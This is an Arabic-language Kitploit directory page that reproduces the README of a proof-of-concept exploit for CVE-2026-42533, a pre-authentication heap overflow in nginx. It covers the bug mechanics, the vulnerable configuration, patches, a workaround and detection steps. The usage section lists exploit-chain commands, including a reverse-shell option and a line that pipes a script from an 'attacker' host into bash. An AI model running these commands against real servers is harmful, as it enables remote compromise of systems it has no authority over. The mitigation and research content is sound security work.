Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-42533 — استغلال لثغرة تجاوز سعة المخزن المؤقت في كومة nginx (CVE-2026-42533) يتيح تنفيذ أوامر برمجية عن بُعد (RCE) قبل المصادقة عبر الكتابة فوق الالتقاط ثنائي المرور. يتضمن وحدات تسريب المعلومات، رش الكومة، والصدفة العكسية. | Kitploit
أدوات/GitHubGitHub/imbas007/cve-2026-42533
الاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتتطوير الحمولاتاستغلال الملفات الثنائية
GitHubimbas007/cve-2026-42533

CVE-2026-42533

استغلال لثغرة تجاوز سعة المخزن المؤقت في كومة nginx (CVE-2026-42533) يتيح تنفيذ أوامر برمجية عن بُعد (RCE) قبل المصادقة عبر الكتابة فوق الالتقاط ثنائي المرور. يتضمن وحدات تسريب المعلومات، رش الكومة، والصدفة العكسية.

عرض المستودع
329منذ 25 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-42533 — استغلال PoC لتجاوز سعة المخزن المؤقت في الكومة لخادم nginx

تنفيذ برمجي عن بُعد قبل المصادقة عبر إتلاف الالتقاط ثنائي المرور

تم إصدار PoC العام في 2026-07-27 — لا تنتظر، حدّث الآن.

CVECVE-2026-42533
CVSS 4.09.2 (حرجة)
النوعتجاوز سعة المخزن المؤقت في الكومة (CWE-122)
الإصدارات المتأثرةnginx 0.9.6 – 1.30.3 (مستقر)، 0.9.6 – 1.31.2 (النسخة الرئيسية)
الإصلاحnginx 1.30.4 / 1.31.3, NGINX Plus R36 P7 / 37.0.3.1
تاريخ الإفصاح2026-07-15 (F5 / NGINX)
تاريخ إصدار PoC2026-07-27
الباحثStan Shaw (0xCyberstan)

تم تأكيد نجاحه

المنصةالتشخيصالتجاوزالانهيارتسريب المعلومات
Ubuntu 24.04 x86_64✅✅✅ SIGABRT⚠️ جزئي

نظرة عامة

CVE-2026-42533 هي ثغرة حرجة لتجاوز سعة المخزن المؤقت في الكومة في محرك تقييم السلاسل ثنائي المرور في nginx. عندما تتفاعل توجيهات map المعتمدة على التعبيرات النمطية مع مجموعات الالتقاط المرقّمة ($1, $2, وغيرها)، تتم الكتابة فوق بنية r->captures المشتركة بصمت بين مرحلتي LEN (القياس) وVALUE (الكتابة). يؤدي هذا إلى عدم تطابق في الحجم:

  • التقاط أكبر ← تجاوز سعة المخزن المؤقت في الكومة (كتابة خارج النطاق يتحكم بها المهاجم)
  • التقاط أصغر ← تسريب معلومات (كشف ذاكرة كومة غير مهيأة، مما يسرّب مؤشرات libc/الكومة)

عند ربط هاتين البدائيتين معًا، تمكنان من تنفيذ برمجي عن بُعد موثوق قبل المصادقة، متغلبين على ASLR — وتم إثبات ذلك بموثوقية 10/10 على Ubuntu 24.04.

كيف تعمل

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  LEN PASS (measure)                                          │
│    $1 from location ~ ^/api/(...)$ = "abc" → measures 3 bytes│
│    $overflow_gadget = giant_header → measures 5000 bytes     │
│    Buffer allocated: 5003 bytes                              │
│                                                              │
│  [ $overflow_gadget triggers map regex → clobbers $1 ]      │
│    $1 now = giant_header (5000 bytes)                        │
│                                                              │
│  VALUE PASS (write)                                          │
│    $1 writes 5000 bytes (LEN said 3!)  → OVERFLOW!          │
│    $overflow_gadget writes 5000 bytes                        │
│    Total written: 10000 bytes into 5003-byte buffer          │
│    → 4997 bytes overflow into adjacent heap                  │
└─────────────────────────────────────────────────────────────┘

يتسبب التجاوز في إفساد بنيات الكومة المجاورة. الهدف الأساسي هو ngx_pool_cleanup_t:

root@kitploit:~
struct ngx_pool_cleanup_s {
    ngx_pool_cleanup_pt  handler;  // function pointer → overwrite for RIP control
    void                *data;     // argument to handler
    ngx_pool_cleanup_t  *next;     // next in chain
};

عند تدمير تجمّع الاتصالات، يتم استدعاء handler(data) → تنفيذ تعليمات برمجية عشوائية.

بنية المستودع

root@kitploit:~
CVE-2026-42533/
├── exploit/
│   ├── exploit.py       # Full exploit chain (leak → spray → overflow → RCE)
│   ├── leak.py          # Info leak module (heap/libc pointer leak)
│   ├── overflow.py      # Heap overflow module (crash / RCE trigger)
│   ├── analyze.py       # GDB analysis helper for offset determination
│   └── requirements.txt # Python dependencies
├── nginx/
│   └── nginx.conf       # Vulnerable nginx configuration
├── Dockerfile            # Docker build for test environment (Ubuntu 24.04)
├── docker-compose.yml    # Docker Compose for easy deployment
└── README.md

البدء السريع

المتطلبات الأساسية

  • بايثون 3.8+ مع requests
  • الهدف: nginx 0.9.6–1.30.3/1.31.2 مع إعداد ضعيف (انظر أدناه)

1. التحقق من الثغرة (آمن)

root@kitploit:~
# Diagnostic mode — shows two-pass mismatch (safe, no crash)
python3 exploit/overflow.py <target> --diagnose

المخرجات:

root@kitploit:~
  header=   10: LEN=   13 actual=   13 internal_overflow=    7 ✓
  header=  100: LEN=  103 actual=  103 internal_overflow=   97 ✓
  header= 1000: LEN= 1003 actual= 1003 internal_overflow=  997 ✓

2. PoC الانهيار (يُثبت قابلية الاستغلال)

root@kitploit:~
python3 exploit/overflow.py <target> --crash

النتيجة على Ubuntu 24.04:

root@kitploit:~
worker process 12282 exited on signal 6 (core dumped)
free(): invalid next size (normal)

3. إعداد بيئة الاختبار

root@kitploit:~
# Ubuntu 24.04 (confirmed working)
ssh root@<your-server>
apt-get install -y build-essential libpcre2-dev libssl-dev zlib1g-dev
wget https://nginx.org/download/nginx-1.27.4.tar.gz
tar xzf nginx-1.27.4.tar.gz && cd nginx-1.27.4
./configure --prefix=/usr/local/nginx --with-cc-opt='-g -O0'
make -j$(nproc) && make install

# Copy vulnerable config
cp nginx/nginx.conf /usr/local/nginx/conf/nginx.conf
/usr/local/nginx/sbin/nginx

# Run exploit from your machine
python3 exploit/overflow.py <server-ip> --diagnose

4. دوكر (بديل)

root@kitploit:~
docker compose up -d --build
python3 exploit/overflow.py localhost --port 8080 --diagnose

الاستخدام

سلسلة الاستغلال الكاملة

root@kitploit:~
python3 exploit/exploit.py <target> [options]

# Examples:
python3 exploit/exploit.py 192.168.1.100                    # full auto
python3 exploit/exploit.py 192.168.1.100 --leak-only        # recon only
python3 exploit/exploit.py 192.168.1.100 --crash            # verify vuln
python3 exploit/exploit.py 192.168.1.100 --cmd "id > /tmp/pwned"

# Manual mode (if you have pre-leaked addresses)
python3 exploit/exploit.py 192.168.1.100 \
    --libc 0x7f1234000000 \
    --heap 0x5a1234000000 \
    --cmd "curl http://attacker/shell.sh | bash"

# Reverse shell
python3 exploit/exploit.py 192.168.1.100 \
    --reverse-shell --lhost 10.0.0.1 --lport 4444

وحدة تسريب المعلومات

root@kitploit:~
python3 exploit/leak.py <target> [options]

# Quiet mode (just output addresses)
python3 exploit/leak.py 192.168.1.100 -q
# LIBC:0x7f1234567890
# HEAP:0x5a1234567890

وحدة التجاوز

root@kitploit:~
python3 exploit/overflow.py <target> --crash     # crash worker (PoC)
python3 exploit/overflow.py <target> --spray     # heap spray only

الأنماط الإعدادية القابلة للاستغلال

يتطلب الاستغلال هذا النمط المحدد في إعداد nginx:

root@kitploit:~
# 1. A regex-based map (clobbers capture state)
map $http_x_overflow $overflow_gadget {
    "~^(.+)$"  $1;       # regex match overwrites $1
    default    "";
}

# 2. A regex location (creates captures)
server {
    location ~ ^/api/(...)$ {   # creates $1, $2, ...
        # 3. Both capture AND map variable in same directive
        return 200 "$1$overflow_gadget";   # ← two-pass sink
    }
}

اكتشف الإعدادات القابلة للاستغلال باستخدام الماسح العام:

  • https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner

دليل الانهيار (Ubuntu 24.04)

root@kitploit:~
Worker PID:  12282

[Phase 1] Diagnostic:
  header=100:  LEN=103,  response=103  ✓
  header=1000: LEN=1003, response=1003 ✓ (997 byte internal overflow!)

[Phase 2] Heap Corruption:
  8000-byte header → VALUE writes 16000 bytes into 8003-byte buffer
  → 7997 bytes overflow past buffer boundary

Worker PID:  12331  (NEW — old worker DEAD!)

Error log:
  free(): invalid next size (normal)
  worker process 12282 exited on signal 6 (core dumped)

التخفيف

إجراء فوري (التحديث)

root@kitploit:~
# Upgrade to patched versions:
# nginx 1.30.4+ (stable) / 1.31.3+ (mainline)
# NGINX Plus R36 P7 / 37.0.3.1

حل مؤقت

استبدل الالتقاطات المرقّمة بـ التقاطات مُسمّاة في توجيهات map:

root@kitploit:~
# VULNERABLE
map $http_foo $bar {
    "~^(.+)$"  $1;    # numbered capture → clobbers shared state
}

# MITIGATED
map $http_foo $bar {
    "~^(?<val>.+)$"  $val;  # named capture → isolated
}

الاكتشاف

  • شغّل ماسح الإعدادات: https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner
  • راقب إعادة تشغيل عمليات nginx العاملة بشكل غير متوقع
  • تحقق من إصدار nginx: nginx -v (يجب أن يكون ≥ 1.30.4 أو ≥ 1.31.3)

المراجع

  • نشرة F5 الأمنية
  • التحليل الفني من 0xCyberstan
  • ماسح إعدادات CVE-2026-42533

إخلاء مسؤولية

تم إصدار إثبات المفهوم هذا لأغراض البحث الأمني والدفاع. استخدمه فقط ضد أنظمة تملكها أو لديك إذن صريح لاختبارها. تم إصلاح الثغرة — قم بالتحديث فورًا إذا لم تكن قد فعلت ذلك بالفعل.

تنزيل الأداة